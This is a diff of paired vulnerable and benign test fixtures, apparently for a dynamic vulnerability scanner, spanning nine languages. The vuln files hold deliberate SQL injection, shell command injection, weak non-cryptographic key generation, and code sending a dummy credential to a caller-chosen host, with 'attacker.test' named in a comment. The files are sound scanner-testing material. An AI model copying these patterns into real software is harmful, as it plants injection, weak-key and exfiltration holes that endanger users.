tests/dynamic_fixtures/class_method/python/benign.py
Normal file
20
tests/dynamic_fixtures/class_method/python/benign.py
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
"""Phase 19 (Track M.1) — class-method benign control for Python.
|
||||
|
||||
Same surface as `vuln.py` but uses parameterised SQL so user input
|
||||
never concatenates into the query string.
|
||||
"""
|
||||
import sqlite3
|
||||
|
||||
|
||||
class UserRepository:
|
||||
def __init__(self):
|
||||
self._db = sqlite3.connect(":memory:")
|
||||
self._db.executescript(
|
||||
"CREATE TABLE users (id INTEGER, name TEXT); "
|
||||
"INSERT INTO users VALUES (1, 'alice');"
|
||||
)
|
||||
|
||||
def find_by_name(self, name):
|
||||
cur = self._db.cursor()
|
||||
cur.execute("SELECT id FROM users WHERE name = ?", (name,))
|
||||
return cur.fetchall()
|
||||
24
tests/dynamic_fixtures/class_method/python/vuln.py
Normal file
24
tests/dynamic_fixtures/class_method/python/vuln.py
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
"""Phase 19 (Track M.1) — class-method vuln fixture for Python.
|
||||
|
||||
`UserRepository.find_by_name` accepts user input and builds a raw SQL
|
||||
query, classic concatenation-driven SQL injection. The class has a
|
||||
zero-arg constructor so the harness builds the receiver without
|
||||
needing a stubbed dependency.
|
||||
"""
|
||||
import sqlite3
|
||||
|
||||
|
||||
class UserRepository:
|
||||
def __init__(self):
|
||||
self._db = sqlite3.connect(":memory:")
|
||||
self._db.executescript(
|
||||
"CREATE TABLE users (id INTEGER, name TEXT); "
|
||||
"INSERT INTO users VALUES (1, 'alice');"
|
||||
)
|
||||
|
||||
def find_by_name(self, name):
|
||||
cur = self._db.cursor()
|
||||
# SINK: user input concatenated into the query
|
||||
sql = "SELECT id FROM users WHERE name = '" + name + "'"
|
||||
cur.execute(sql)
|
||||
return cur.fetchall()
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
"""Benign control for the recursive ClassMethod dependency fixture."""
|
||||
|
||||
|
||||
class Repository:
|
||||
def __init__(self, db_connection):
|
||||
self._db = db_connection
|
||||
|
||||
def run(self, payload):
|
||||
return "ok"
|
||||
|
||||
|
||||
class Service:
|
||||
def __init__(self, repository: Repository):
|
||||
self._repository = repository
|
||||
|
||||
def run(self, payload):
|
||||
return self._repository.run(payload)
|
||||
|
||||
|
||||
class UserController:
|
||||
def __init__(self, service: Service):
|
||||
self._service = service
|
||||
|
||||
def run(self, payload):
|
||||
return self._service.run(payload)
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
"""Class-method fixture with recursively constructed dependencies."""
|
||||
|
||||
import os
|
||||
|
||||
|
||||
class Repository:
|
||||
def __init__(self, db_connection):
|
||||
self._db = db_connection
|
||||
|
||||
def run(self, payload):
|
||||
os.system(payload)
|
||||
|
||||
|
||||
class Service:
|
||||
def __init__(self, repository: Repository):
|
||||
self._repository = repository
|
||||
|
||||
def run(self, payload):
|
||||
self._repository.run(payload)
|
||||
|
||||
|
||||
class UserController:
|
||||
def __init__(self, service: Service):
|
||||
self._service = service
|
||||
|
||||
def run(self, payload):
|
||||
self._service.run(payload)
|
||||
29
tests/dynamic_fixtures/class_method/python_with_deps/vuln.py
Normal file
29
tests/dynamic_fixtures/class_method/python_with_deps/vuln.py
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
"""Phase 19 (Track M.1) — class-method vuln with constructor deps.
|
||||
|
||||
`UserController.__init__` takes an HTTP client + a database connection
|
||||
(controller → service → repository shape). The Phase 19 harness's
|
||||
`_nyx_build_receiver` walks the ctor formals, stubs each with the
|
||||
matching `Mock*` test double from `src/dynamic/stubs/mocks.rs`, and
|
||||
invokes the sink method.
|
||||
"""
|
||||
import sqlite3
|
||||
|
||||
|
||||
class UserController:
|
||||
def __init__(self, http_client, db_connection):
|
||||
# Phase 19 harness wires MockHttpClient + MockDatabaseConnection
|
||||
# through these two formals so the ctor returns without I/O.
|
||||
self._http = http_client
|
||||
self._db = db_connection or sqlite3.connect(":memory:")
|
||||
|
||||
def search(self, query):
|
||||
cur = self._db.cursor() if hasattr(self._db, "cursor") else None
|
||||
if cur is None:
|
||||
return None
|
||||
# SINK: concatenated SQL
|
||||
sql = "SELECT 1 FROM dual WHERE x = '" + query + "'"
|
||||
try:
|
||||
cur.execute(sql)
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
11
tests/dynamic_fixtures/class_method/ruby/benign.rb
Normal file
11
tests/dynamic_fixtures/class_method/ruby/benign.rb
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
# Phase 19 (Track M.1) — class-method benign control for Ruby.
|
||||
require 'shellwords'
|
||||
|
||||
class UserService
|
||||
def initialize
|
||||
end
|
||||
|
||||
def run(input)
|
||||
`true #{Shellwords.escape(input)}`
|
||||
end
|
||||
end
|
||||
13
tests/dynamic_fixtures/class_method/ruby/vuln.rb
Normal file
13
tests/dynamic_fixtures/class_method/ruby/vuln.rb
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
# Phase 19 (Track M.1) — class-method vuln fixture for Ruby.
|
||||
#
|
||||
# UserService#run pipes user input into a shell, classic OS command
|
||||
# injection. Default `.new` ctor — no mock deps needed.
|
||||
class UserService
|
||||
def initialize
|
||||
end
|
||||
|
||||
def run(input)
|
||||
# SINK: tainted input → shell
|
||||
`true #{input}`
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# Benign control for recursively constructed Ruby dependencies.
|
||||
class ShellRunner
|
||||
def run(command)
|
||||
command.gsub('NYX_PWN', '')
|
||||
end
|
||||
end
|
||||
|
||||
class UserRepository
|
||||
def initialize(shell_runner)
|
||||
@shell_runner = shell_runner
|
||||
end
|
||||
|
||||
def find(input)
|
||||
@shell_runner.run(input)
|
||||
end
|
||||
end
|
||||
|
||||
class UserService
|
||||
def initialize(user_repository)
|
||||
@user_repository = user_repository
|
||||
end
|
||||
|
||||
def run(input)
|
||||
@user_repository.find(input)
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# Class-method fixture with recursively constructed Ruby dependencies.
|
||||
class ShellRunner
|
||||
def run(command)
|
||||
`true #{command}`
|
||||
end
|
||||
end
|
||||
|
||||
class UserRepository
|
||||
def initialize(shell_runner)
|
||||
@shell_runner = shell_runner
|
||||
end
|
||||
|
||||
def find(input)
|
||||
@shell_runner.run(input)
|
||||
end
|
||||
end
|
||||
|
||||
class UserService
|
||||
def initialize(user_repository)
|
||||
@user_repository = user_repository
|
||||
end
|
||||
|
||||
def run(input)
|
||||
@user_repository.find(input)
|
||||
end
|
||||
end
|
||||
14
tests/dynamic_fixtures/class_method/rust/benign.rs
Normal file
14
tests/dynamic_fixtures/class_method/rust/benign.rs
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 19 (Track M.1) — class-method benign control for Rust.
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct UserService;
|
||||
|
||||
impl UserService {
|
||||
pub fn run(&self, input: &str) -> String {
|
||||
let out = std::process::Command::new("true")
|
||||
.arg(input)
|
||||
.output()
|
||||
.expect("exec");
|
||||
String::from_utf8_lossy(&out.stdout).into_owned()
|
||||
}
|
||||
}
|
||||
21
tests/dynamic_fixtures/class_method/rust/vuln.rs
Normal file
21
tests/dynamic_fixtures/class_method/rust/vuln.rs
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
// Phase 19 (Track M.1) — class-method vuln fixture for Rust.
|
||||
//
|
||||
// `UserService::run` shells out with a concatenated `sh -c <input>`,
|
||||
// classic OS command injection. Derives Default so the harness can
|
||||
// build the receiver without manual stubbing.
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct UserService;
|
||||
|
||||
impl UserService {
|
||||
pub fn run(&self, input: &str) -> String {
|
||||
// SINK: tainted input → shell -c
|
||||
let cmd = format!("true {}", input);
|
||||
let out = std::process::Command::new("sh")
|
||||
.arg("-c")
|
||||
.arg(&cmd)
|
||||
.output()
|
||||
.expect("exec");
|
||||
String::from_utf8_lossy(&out.stdout).into_owned()
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
// Benign control for recursive Rust class-method receiver construction.
|
||||
|
||||
pub struct CommandRunner;
|
||||
|
||||
impl CommandRunner {
|
||||
pub fn run(&self, input: &str) -> String {
|
||||
let out = std::process::Command::new("true")
|
||||
.arg(input)
|
||||
.output()
|
||||
.expect("exec");
|
||||
String::from_utf8_lossy(&out.stdout).into_owned()
|
||||
}
|
||||
}
|
||||
|
||||
pub struct UserService {
|
||||
pub runner: CommandRunner,
|
||||
}
|
||||
|
||||
impl UserService {
|
||||
pub fn run(&self, input: &str) -> String {
|
||||
self.runner.run(input)
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
// Rust class-method fixture whose receiver has same-file dependencies
|
||||
// but no Default or new() constructor.
|
||||
|
||||
pub struct CommandRunner;
|
||||
|
||||
impl CommandRunner {
|
||||
pub fn run(&self, input: &str) -> String {
|
||||
let cmd = format!("true {}", input);
|
||||
let out = std::process::Command::new("sh")
|
||||
.arg("-c")
|
||||
.arg(&cmd)
|
||||
.output()
|
||||
.expect("exec");
|
||||
String::from_utf8_lossy(&out.stdout).into_owned()
|
||||
}
|
||||
}
|
||||
|
||||
pub struct UserService {
|
||||
pub runner: CommandRunner,
|
||||
}
|
||||
|
||||
impl UserService {
|
||||
pub fn run(&self, input: &str) -> String {
|
||||
self.runner.run(input)
|
||||
}
|
||||
}
|
||||
12
tests/dynamic_fixtures/class_method/typescript/benign.ts
Normal file
12
tests/dynamic_fixtures/class_method/typescript/benign.ts
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
// Phase 19 (Track M.1) — class-method benign control for TypeScript.
|
||||
'use strict';
|
||||
const { execFileSync } = require('child_process');
|
||||
|
||||
class UserService {
|
||||
constructor() {}
|
||||
run(input) {
|
||||
return execFileSync('true', [input]).toString();
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { UserService };
|
||||
17
tests/dynamic_fixtures/class_method/typescript/vuln.ts
Normal file
17
tests/dynamic_fixtures/class_method/typescript/vuln.ts
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
// Phase 19 (Track M.1) — class-method vuln fixture for TypeScript.
|
||||
//
|
||||
// UserService.run forwards user input directly to a shell. The source
|
||||
// stays CommonJS-compatible because the harness stages TS fixtures as
|
||||
// entry.js for stock Node.
|
||||
'use strict';
|
||||
const { execSync } = require('child_process');
|
||||
|
||||
class UserService {
|
||||
constructor() {}
|
||||
run(input) {
|
||||
// SINK: untrusted input flows into the shell
|
||||
return execSync('true ' + input).toString();
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { UserService };
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
'use strict';
|
||||
|
||||
class ShellRunner {
|
||||
run(_command) {
|
||||
return 'safe';
|
||||
}
|
||||
}
|
||||
|
||||
class UserRepository {
|
||||
constructor(shellRunner) {
|
||||
this.shellRunner = shellRunner;
|
||||
}
|
||||
|
||||
find(input) {
|
||||
return this.shellRunner.run(input);
|
||||
}
|
||||
}
|
||||
|
||||
class UserService {
|
||||
constructor(userRepository) {
|
||||
this.userRepository = userRepository;
|
||||
}
|
||||
|
||||
run(input) {
|
||||
return this.userRepository.find(input);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { UserService, UserRepository, ShellRunner };
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
'use strict';
|
||||
const { execSync } = require('child_process');
|
||||
|
||||
class ShellRunner {
|
||||
run(command) {
|
||||
return execSync('true ' + command).toString();
|
||||
}
|
||||
}
|
||||
|
||||
class UserRepository {
|
||||
constructor(shellRunner) {
|
||||
this.shellRunner = shellRunner;
|
||||
}
|
||||
|
||||
find(input) {
|
||||
return this.shellRunner.run(input);
|
||||
}
|
||||
}
|
||||
|
||||
class UserService {
|
||||
constructor(userRepository) {
|
||||
this.userRepository = userRepository;
|
||||
}
|
||||
|
||||
run(input) {
|
||||
return this.userRepository.find(input);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { UserService, UserRepository, ShellRunner };
|
||||
12
tests/dynamic_fixtures/cpp/free_fn/benign.cpp
Normal file
12
tests/dynamic_fixtures/cpp/free_fn/benign.cpp
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
// Phase 16 — free function with (const char *, size_t), benign.
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
|
||||
void run(const char *payload, std::size_t len) {
|
||||
(void)payload; (void)len;
|
||||
std::printf("__NYX_SINK_HIT__\n");
|
||||
std::fflush(stdout);
|
||||
std::system("echo hello");
|
||||
}
|
||||
15
tests/dynamic_fixtures/cpp/free_fn/vuln.cpp
Normal file
15
tests/dynamic_fixtures/cpp/free_fn/vuln.cpp
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
// Phase 16 — free function with (const char *, size_t), vulnerable.
|
||||
// Cap: CODE_EXEC.
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <string>
|
||||
|
||||
void run(const char *payload, std::size_t len) {
|
||||
std::printf("__NYX_SINK_HIT__\n");
|
||||
std::fflush(stdout);
|
||||
if (!payload || len > 2048) return;
|
||||
std::string cmd = std::string("echo hello ") + payload;
|
||||
std::system(cmd.c_str());
|
||||
}
|
||||
14
tests/dynamic_fixtures/cpp/libfuzzer/benign.cpp
Normal file
14
tests/dynamic_fixtures/cpp/libfuzzer/benign.cpp
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 16 — libFuzzer entry, benign.
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
|
||||
(void)data; (void)size;
|
||||
std::printf("__NYX_SINK_HIT__\n");
|
||||
std::fflush(stdout);
|
||||
std::system("echo hello");
|
||||
return 0;
|
||||
}
|
||||
17
tests/dynamic_fixtures/cpp/libfuzzer/vuln.cpp
Normal file
17
tests/dynamic_fixtures/cpp/libfuzzer/vuln.cpp
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
// Phase 16 — libFuzzer entry, vulnerable. Cap: CODE_EXEC.
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <string>
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
|
||||
std::printf("__NYX_SINK_HIT__\n");
|
||||
std::fflush(stdout);
|
||||
if (size == 0 || size > 2048) return 0;
|
||||
std::string payload(reinterpret_cast<const char*>(data), size);
|
||||
std::string cmd = std::string("echo hello ") + payload;
|
||||
std::system(cmd.c_str());
|
||||
return 0;
|
||||
}
|
||||
13
tests/dynamic_fixtures/cpp/main_argv/benign.cpp
Normal file
13
tests/dynamic_fixtures/cpp/main_argv/benign.cpp
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
// Phase 16 — main(argc, argv), benign.
|
||||
// Shape marker: int main(int argc, char *argv[])
|
||||
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
|
||||
int nyx_entry_main(int argc, char *argv[]) {
|
||||
(void)argc; (void)argv;
|
||||
std::printf("__NYX_SINK_HIT__\n");
|
||||
std::fflush(stdout);
|
||||
std::system("echo hello");
|
||||
return 0;
|
||||
}
|
||||
18
tests/dynamic_fixtures/cpp/main_argv/vuln.cpp
Normal file
18
tests/dynamic_fixtures/cpp/main_argv/vuln.cpp
Normal file
|
|
@ -0,0 +1,18 @@
|
|||
// Phase 16 — main(argc, argv), vulnerable.
|
||||
//
|
||||
// Renamed away from `main` so the harness `main` symbol does not collide.
|
||||
// Shape marker: int main(int argc, char *argv[])
|
||||
// Cap: CODE_EXEC.
|
||||
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <string>
|
||||
|
||||
int nyx_entry_main(int argc, char *argv[]) {
|
||||
std::printf("__NYX_SINK_HIT__\n");
|
||||
std::fflush(stdout);
|
||||
if (argc < 2) return 0;
|
||||
std::string cmd = std::string("echo hello ") + argv[argc - 1];
|
||||
std::system(cmd.c_str());
|
||||
return 0;
|
||||
}
|
||||
12
tests/dynamic_fixtures/crypto/go/benign.go
Normal file
12
tests/dynamic_fixtures/crypto/go/benign.go
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
// Phase 11 (Track J.9) — Go CRYPTO benign control fixture.
|
||||
//
|
||||
// Uses crypto/rand.Read (a CSPRNG) for key derivation.
|
||||
package benign
|
||||
|
||||
import "crypto/rand"
|
||||
|
||||
func Run(_ string) []byte {
|
||||
buf := make([]byte, 32)
|
||||
_, _ = rand.Read(buf)
|
||||
return buf
|
||||
}
|
||||
27
tests/dynamic_fixtures/crypto/go/vuln.go
Normal file
27
tests/dynamic_fixtures/crypto/go/vuln.go
Normal file
|
|
@ -0,0 +1,27 @@
|
|||
// Phase 11 (Track J.9) — Go CRYPTO vuln fixture.
|
||||
//
|
||||
// Models a config-driven crypto endpoint that picks the RNG based on
|
||||
// the request payload — `*_WEAK` routes through math/rand.Intn (a
|
||||
// non-CSPRNG, returning a 16-bit key) and `*_STRONG` routes through
|
||||
// crypto/rand.Read (a CSPRNG, returning the leading 63 bits of an 8-
|
||||
// byte read). This shape is needed by the differential runner: the
|
||||
// vuln-payload attempt and the benign-control attempt both load the
|
||||
// same fixture, and only the payload-routed weak branch trips the
|
||||
// `WeakKeyEntropy` predicate.
|
||||
package vuln
|
||||
|
||||
import (
|
||||
crand "crypto/rand"
|
||||
"encoding/binary"
|
||||
mrand "math/rand"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Run(value string) int {
|
||||
if strings.Contains(value, "STRONG") {
|
||||
var buf [8]byte
|
||||
_, _ = crand.Read(buf[:])
|
||||
return int(binary.BigEndian.Uint64(buf[:]) >> 1)
|
||||
}
|
||||
return mrand.Intn(0x10000)
|
||||
}
|
||||
14
tests/dynamic_fixtures/crypto/java/benign.java
Normal file
14
tests/dynamic_fixtures/crypto/java/benign.java
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 11 (Track J.9) — Java CRYPTO benign control fixture.
|
||||
//
|
||||
// Uses java.security.SecureRandom (a CSPRNG) for key derivation, so
|
||||
// the produced 256-bit key trivially exceeds the 16-bit weak budget.
|
||||
import java.security.SecureRandom;
|
||||
|
||||
public class Benign {
|
||||
public static byte[] run(String _unused) {
|
||||
SecureRandom r = new SecureRandom();
|
||||
byte[] key = new byte[32];
|
||||
r.nextBytes(key);
|
||||
return key;
|
||||
}
|
||||
}
|
||||
26
tests/dynamic_fixtures/crypto/java/vuln.java
Normal file
26
tests/dynamic_fixtures/crypto/java/vuln.java
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
// Phase 11 (Track J.9) — Java CRYPTO vuln fixture.
|
||||
//
|
||||
// Models a config-driven crypto endpoint that picks the RNG based on
|
||||
// the request payload — `*_WEAK` routes through `java.util.Random`
|
||||
// (a non-CSPRNG, seeded from the payload hash, returning a 16-bit
|
||||
// key) and `*_STRONG` routes through `java.security.SecureRandom`
|
||||
// (a CSPRNG, returning 32 bytes). This shape is needed by the
|
||||
// differential runner: the vuln-payload attempt and the benign-
|
||||
// control attempt both load the same fixture, and only the payload-
|
||||
// routed weak branch trips the `WeakKeyEntropy` predicate.
|
||||
import java.util.Random;
|
||||
import java.security.SecureRandom;
|
||||
|
||||
public class Vuln {
|
||||
public static byte[] run(String value) {
|
||||
if (value != null && value.contains("STRONG")) {
|
||||
byte[] key = new byte[32];
|
||||
new SecureRandom().nextBytes(key);
|
||||
return key;
|
||||
}
|
||||
Random r = new Random(value == null ? 0L : (long) value.hashCode());
|
||||
byte[] key = new byte[2];
|
||||
r.nextBytes(key);
|
||||
return key;
|
||||
}
|
||||
}
|
||||
7
tests/dynamic_fixtures/crypto/php/benign.php
Normal file
7
tests/dynamic_fixtures/crypto/php/benign.php
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP CRYPTO benign control fixture.
|
||||
//
|
||||
// Uses `random_bytes(32)` (a CSPRNG) for key derivation.
|
||||
function run($_value) {
|
||||
return random_bytes(32);
|
||||
}
|
||||
17
tests/dynamic_fixtures/crypto/php/vuln.php
Normal file
17
tests/dynamic_fixtures/crypto/php/vuln.php
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP CRYPTO vuln fixture.
|
||||
//
|
||||
// Models a config-driven crypto endpoint that picks the RNG based on
|
||||
// the request payload — `*_WEAK` routes through `mt_rand(0, 0xFFFF)`
|
||||
// (a non-CSPRNG) and `*_STRONG` routes through `random_bytes(32)`
|
||||
// (a CSPRNG). This shape is needed by the differential runner: the
|
||||
// vuln-payload attempt and the benign-control attempt both load the
|
||||
// same fixture, and only the payload-routed weak branch trips the
|
||||
// `WeakKeyEntropy` predicate.
|
||||
function run($value) {
|
||||
$s = is_string($value) ? $value : strval($value);
|
||||
if (strpos($s, "STRONG") !== false) {
|
||||
return random_bytes(32);
|
||||
}
|
||||
return mt_rand(0, 0xFFFF);
|
||||
}
|
||||
9
tests/dynamic_fixtures/crypto/python/benign.py
Normal file
9
tests/dynamic_fixtures/crypto/python/benign.py
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
# Phase 11 (Track J.9) — Python CRYPTO benign control fixture.
|
||||
#
|
||||
# Uses `secrets.token_bytes(32)` (a CSPRNG) so the produced key
|
||||
# trivially exceeds the weak budget.
|
||||
import secrets
|
||||
|
||||
|
||||
def run(_value):
|
||||
return secrets.token_bytes(32)
|
||||
23
tests/dynamic_fixtures/crypto/python/vuln.py
Normal file
23
tests/dynamic_fixtures/crypto/python/vuln.py
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
# Phase 11 (Track J.9) — Python CRYPTO vuln fixture.
|
||||
#
|
||||
# Models a config-driven crypto endpoint that picks the RNG based on
|
||||
# the request payload — `*_WEAK` routes through `random.randint(0, 0xFFFF)`
|
||||
# (a non-CSPRNG) and `*_STRONG` routes through `secrets.token_bytes(32)`
|
||||
# (a CSPRNG). This shape is needed by the differential runner: the
|
||||
# vuln-payload attempt and the benign-control attempt both load the same
|
||||
# fixture, and only the payload-routed weak branch trips the
|
||||
# `WeakKeyEntropy` predicate. Real-world analogue: a JWT-signing or
|
||||
# session-token endpoint that exposes an `algorithm`/`key_strength`
|
||||
# knob whose weak setting falls back to a non-CSPRNG seed.
|
||||
import random
|
||||
import secrets
|
||||
|
||||
|
||||
def run(value):
|
||||
if isinstance(value, (bytes, bytearray)):
|
||||
value = value.decode("utf-8", "replace")
|
||||
elif not isinstance(value, str):
|
||||
value = str(value)
|
||||
if "STRONG" in value:
|
||||
return secrets.token_bytes(32)
|
||||
return random.randint(0, 0xFFFF)
|
||||
11
tests/dynamic_fixtures/crypto/rust/benign.rs
Normal file
11
tests/dynamic_fixtures/crypto/rust/benign.rs
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
// Phase 11 (Track J.9) — Rust CRYPTO benign control fixture.
|
||||
//
|
||||
// Uses `rand::rngs::OsRng` (a CSPRNG) for key derivation.
|
||||
use rand::rngs::OsRng;
|
||||
use rand::RngCore;
|
||||
|
||||
pub fn run(_value: &str) -> [u8; 32] {
|
||||
let mut key = [0u8; 32];
|
||||
OsRng.fill_bytes(&mut key);
|
||||
key
|
||||
}
|
||||
27
tests/dynamic_fixtures/crypto/rust/vuln.rs
Normal file
27
tests/dynamic_fixtures/crypto/rust/vuln.rs
Normal file
|
|
@ -0,0 +1,27 @@
|
|||
// Phase 11 (Track J.9) — Rust CRYPTO vuln fixture.
|
||||
//
|
||||
// Models a config-driven crypto endpoint that picks the RNG based on
|
||||
// the request payload — `*_WEAK` routes through `rand::thread_rng`
|
||||
// truncated to 16 bits (a non-CSPRNG configuration) and `*_STRONG`
|
||||
// routes through `rand::rngs::OsRng` (a CSPRNG). Both branches return
|
||||
// `[u8; 8]` so the harness's `NyxKeyToInt` reducer treats them
|
||||
// uniformly. The weak branch zero-pads the 16-bit value into the low
|
||||
// two bytes, leaving `nyx_bytes_to_key_int` to read it back as a small
|
||||
// big-endian `u64` that trips the `WeakKeyEntropy` predicate; the
|
||||
// strong branch fills all eight bytes from the CSPRNG so the reduced
|
||||
// `u64` overshoots the 16-bit budget.
|
||||
use rand::Rng;
|
||||
use rand::RngCore;
|
||||
use rand::rngs::OsRng;
|
||||
|
||||
pub fn run(value: &str) -> [u8; 8] {
|
||||
let mut key = [0u8; 8];
|
||||
if value.contains("STRONG") {
|
||||
OsRng.fill_bytes(&mut key);
|
||||
} else {
|
||||
let weak = rand::thread_rng().gen_range(0..=0xFFFFu16);
|
||||
key[6] = (weak >> 8) as u8;
|
||||
key[7] = (weak & 0xFF) as u8;
|
||||
}
|
||||
key
|
||||
}
|
||||
19
tests/dynamic_fixtures/data_exfil/go/benign.go
Normal file
19
tests/dynamic_fixtures/data_exfil/go/benign.go
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
// Phase 11 (Track J.9) — Go DATA_EXFIL benign control fixture.
|
||||
package benign
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
var allowlist = map[string]struct{}{"127.0.0.1": {}, "localhost": {}}
|
||||
|
||||
func Run(host string) {
|
||||
if _, ok := allowlist[host]; !ok {
|
||||
return
|
||||
}
|
||||
secret := "alice-creds"
|
||||
q := url.Values{"token": {secret}}
|
||||
u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()}
|
||||
_, _ = http.Get(u.String())
|
||||
}
|
||||
14
tests/dynamic_fixtures/data_exfil/go/vuln.go
Normal file
14
tests/dynamic_fixtures/data_exfil/go/vuln.go
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 11 (Track J.9) — Go DATA_EXFIL vuln fixture.
|
||||
package vuln
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
func Run(host string) {
|
||||
secret := "alice-creds"
|
||||
q := url.Values{"token": {secret}}
|
||||
u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()}
|
||||
_, _ = http.Get(u.String())
|
||||
}
|
||||
21
tests/dynamic_fixtures/data_exfil/java/Benign.java
Normal file
21
tests/dynamic_fixtures/data_exfil/java/Benign.java
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
// Phase 11 (Track J.9) — Java DATA_EXFIL benign control fixture.
|
||||
//
|
||||
// Models a hardened outbound HTTP call that gates the destination host
|
||||
// through a loopback allowlist before issuing the request. The harness
|
||||
// reflectively invokes `run(payload)`; non-allowlist payloads (e.g.
|
||||
// `attacker.test`) short-circuit before `NyxMockHttp.get(url)` so the
|
||||
// captured-hosts list stays empty for the differential runner and no
|
||||
// probe is emitted, clearing `OutboundHostNotIn` for the attacker
|
||||
// payload. Loopback payloads (e.g. `127.0.0.1`) reach the helper but
|
||||
// the captured host is inside the allowlist so the predicate stays
|
||||
// clear there too.
|
||||
import java.util.Set;
|
||||
|
||||
public class Benign {
|
||||
private static final Set<String> ALLOWLIST = Set.of("127.0.0.1", "localhost");
|
||||
|
||||
public static void run(String host) throws Exception {
|
||||
if (!ALLOWLIST.contains(host)) return;
|
||||
NyxMockHttp.get("http://" + host + "/exfil?token=alice-creds");
|
||||
}
|
||||
}
|
||||
17
tests/dynamic_fixtures/data_exfil/java/Vuln.java
Normal file
17
tests/dynamic_fixtures/data_exfil/java/Vuln.java
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
// Phase 11 (Track J.9) — Java DATA_EXFIL vuln fixture.
|
||||
//
|
||||
// Models an unguarded outbound HTTP call that exfiltrates a static
|
||||
// credential to an attacker-controlled host. Java has no stdlib
|
||||
// monkey-patch hook for `HttpURLConnection`, so the fixture calls into
|
||||
// the harness-supplied `NyxMockHttp.get(url)` helper. The helper
|
||||
// parses the URL host and appends it to `NyxMockHttp.CAPTURED_HOSTS`
|
||||
// without initiating real wire I/O; the harness drains the list after
|
||||
// `run` returns and emits one `ProbeKind::OutboundNetwork { host }` per
|
||||
// captured call. `OutboundHostNotIn` fires when the host falls outside
|
||||
// the loopback allowlist.
|
||||
public class Vuln {
|
||||
public static void run(String host) throws Exception {
|
||||
String secret = "alice-creds";
|
||||
NyxMockHttp.get("http://" + host + "/exfil?token=" + secret);
|
||||
}
|
||||
}
|
||||
17
tests/dynamic_fixtures/data_exfil/js/benign.js
Normal file
17
tests/dynamic_fixtures/data_exfil/js/benign.js
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
// Phase 11 (Track J.9) — JavaScript DATA_EXFIL benign control fixture.
|
||||
const http = require('http');
|
||||
|
||||
const ALLOWLIST = new Set(['127.0.0.1', 'localhost']);
|
||||
|
||||
function run(host) {
|
||||
if (!ALLOWLIST.has(host)) return;
|
||||
const secret = 'alice-creds';
|
||||
const req = http.request({
|
||||
host,
|
||||
path: '/exfil?token=' + encodeURIComponent(secret),
|
||||
method: 'POST',
|
||||
});
|
||||
req.end();
|
||||
}
|
||||
|
||||
module.exports = { run };
|
||||
14
tests/dynamic_fixtures/data_exfil/js/vuln.js
Normal file
14
tests/dynamic_fixtures/data_exfil/js/vuln.js
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 11 (Track J.9) — JavaScript DATA_EXFIL vuln fixture.
|
||||
const http = require('http');
|
||||
|
||||
function run(host) {
|
||||
const secret = 'alice-creds';
|
||||
const req = http.request({
|
||||
host,
|
||||
path: '/exfil?token=' + encodeURIComponent(secret),
|
||||
method: 'POST',
|
||||
});
|
||||
req.end();
|
||||
}
|
||||
